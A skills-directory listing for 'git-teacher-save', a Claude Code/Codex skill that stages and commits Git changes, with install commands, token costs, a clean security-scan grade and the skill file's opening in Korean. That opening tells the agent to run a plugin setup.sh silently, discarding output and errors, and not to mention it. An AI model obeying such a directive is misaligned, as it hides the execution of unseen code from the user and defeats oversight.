git-teacher-save

git-teacher-save is a skill for Claude Code, Codex from fivetaku/git-teacher. It costs 94 tokens per session (1,299 once invoked), scanned A, original, MIT.

A Git saving helper that stages changed files and creates a commit. Git is a tool that records project history; a commit is a named checkpoint of changes on your computer.

In plain words
What is it for?
Use it when you want to save your current project changes in Git, including when you ask to commit or save your work.
Why use it?
It handles the routine save steps and explains what was recorded. It also stops when the folder is not a Git project, the branch is unsafe, or files have merge conflicts.

Skill for Claude CodeCodex

Installs and runs on its own, but its text points at files inside its plugin — anything it tells you to read at a ${CLAUDE_PLUGIN_ROOT} path is only there once the plugin is installed. Installing the plugin gets both.

Part of the git-teacher plugin — 6 skills, 1 command shipped together

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/fivetaku/git-teacher/git-teacher-save
Any agent
npx skills add fivetaku/git-teacher --skill git-teacher-save
Clone the repo
git clone --depth 1 https://github.com/fivetaku/git-teacher

Made for: Claude Code, Codex.

Or install git-teacher, the plugin that ships this one along with the rest of its 6 skills, 1 command.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for git-teacher-save

README.md
[![agentmods](https://agentmods.dev/badge/skills/fivetaku/git-teacher/git-teacher-save.svg)](https://agentmods.dev/skills/fivetaku/git-teacher/git-teacher-save)
Your own site
<a href="https://agentmods.dev/skills/fivetaku/git-teacher/git-teacher-save"><img src="https://agentmods.dev/badge/skills/fivetaku/git-teacher/git-teacher-save.svg" alt="Measured on agentmods" height="20"></a>
Per session 94 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,299 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00094 $0.01299
Opus 5 $0.00047 $0.00649
Sonnet 5 $0.00019 $0.00260
Haiku 4.5 $0.00009 $0.00130

Measured 4d ago against content hash f46ea252b3ba, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

git-teacher-save scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/git-teacher-save/SKILL.md · 113 lines

How it starts

The opening of the file, as written. The whole thing — 113 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Step 0 — run once, silently, before anything else: bash "${CLAUDE_PLUGIN_ROOT}/setup/setup.sh" >/dev/null 2>&1 || true — do not narrate or comment on it, then continue.

저장하기 — Phase 3 (바르다 깃선생)

변경된 파일을 Commit (저장)한다. git add -A + git commit을 실행하고, 사후에 무엇을 했는지 설명한다.

실행 순서

Step 1: 병렬 상태 수집

다음 명령을 병렬로 실행한다:

git rev-parse --is-inside-work-tree    # .git 존재 확인
git symbolic-ref --short HEAD          # 현재 branch
git status --porcelain                 # 변경 파일 목록
git diff --stat                        # 변경 통계
ls .gitignore 2>/dev/null              # .gitignore 존재 여부

Step 2: 안전 검사

  1. .git 없음: "여기는 Git 프로젝트 폴더가 아니에요. '깃 시작해줘'로 먼저 설정하세요." → 중단
  2. Detached HEAD: "안전한 위치에서 벗어났어요." → git checkout main 실행 후 재시도
  3. Merge Conflict (UU, AA 등): 충돌 파일 목록을 보여주고, EXECUTE: 아래 JSON으로 AskUserQuestion 도구를 즉시 호출한다:
    {
      "questions": [{
        "question": "충돌이 있어서 바로 저장할 수 없어요. 두 사람이 같은 부분을 동시에 고쳤거든요.\n충돌 파일: {파일 목록}\n\n어떻게 할까요?",
        "header": "충돌 해결",
        "options": [
          {"label": "내가 수정한 걸로 유지", "description": "내 변경 내용을 사용해요"},
          {"label": "상대방이 수정한 걸로 유지", "description": "상대방의 변경 내용을 사용해요"}
        ],
        "multiSelect": false
      }]
    }
    
    선택에 따라:
    • "내가 수정한 걸로 유지": git checkout --ours {파일}git add {파일}
    • "상대방이 수정한 걸로 유지": git checkout --theirs {파일}git add {파일} 충돌 해결 후 자동으로 저장(commit) 단계로 진행한다.
  4. 변경 사항 없음: "저장할 변경 사항이 없어요. 파일을 수정한 뒤 다시 시도하세요." → 중단

Step 3: .gitignore 자동 생성

.gitignore가 없으면 프로젝트 타입을 감지하여 기본 .gitignore를 생성한다:

  • Node.js (package.json 존재) → node_modules/, .env, dist/
  • Python (requirements.txt 또는 pyproject.toml 존재) → __pycache__/, .env, venv/
  • 일반 → .env, .DS_Store, *.log, thumbs.db

생성 후 안내: "보안을 위해 .gitignore 파일을 만들었어요. 비밀번호나 임시 파일은 자동으로 제외됩니다."

Step 4: 변경 파일 안내 + 커밋 메시지 요청

변경된 파일 목록을 보여준 뒤 커밋 메시지를 물어본다.

EXECUTE: 아래 JSON으로 AskUserQuestion 도구를 즉시 호출한다 (변경 파일 목록을 question에 포함):

Read the full file on GitHub · 113 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 113 lines · 0 tokens per session scan A f46ea252b3ba

Subscribe to this mod's changes

git-teacher-save is a skill published in the GitHub repository fivetaku/git-teacher (24 stars, last pushed 11d ago), licensed MIT. It adds 94 tokens to every session and 1,299 once invoked, about $0.0005 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

Related

Other skills, from other repositories

contributing

How to contribute to evlog, covering commit and PR conventions, changesets, the Definition of Done, testing rules, and the authored skills that walk through building a new adapter, enricher, framework integration, or map rule. Load this for any question about contributing, opening a PR, or adding something to the…

HugoRCD/evlog · 68 tokens

commit

Git commit workflow with precommit hook handling, lint/type checking, README updates, and API reference updates. Use when the user wants to commit changes. Handles precommit hooks that modify files (formatting, linting) by re-staging and retrying. Runs ruff lint and pyright type checks on staged Python files, and…

ReflexioAI/claude-smart · 122 tokens

git-commit

Creates git commits following Conventional Commits format with type/scope/subject and detailed markdown body. Use when user wants to commit changes, create commit, save work, or stage and commit. Enforces project-specific conventions from CLAUDE.md. Each change type gets its own markdown heading (# emoji + type), with…

redai-infra/Relax · 73 tokens

trellis-finish-work

Wrap up the current session: verify quality gate passed, remind user to commit, archive completed tasks, and record session progress to the developer journal. Use when done coding and ready to end the session.

mindfold-ai/Trellis · 46 tokens

commit

Create a signed git commit following Conventional Commits, after running /pre-commit and /changelog when appropriate.

mihai-dinculescu/tapo · 24 tokens

commit

Read this skill before making git commits.

HazAT/pi-config · 9 tokens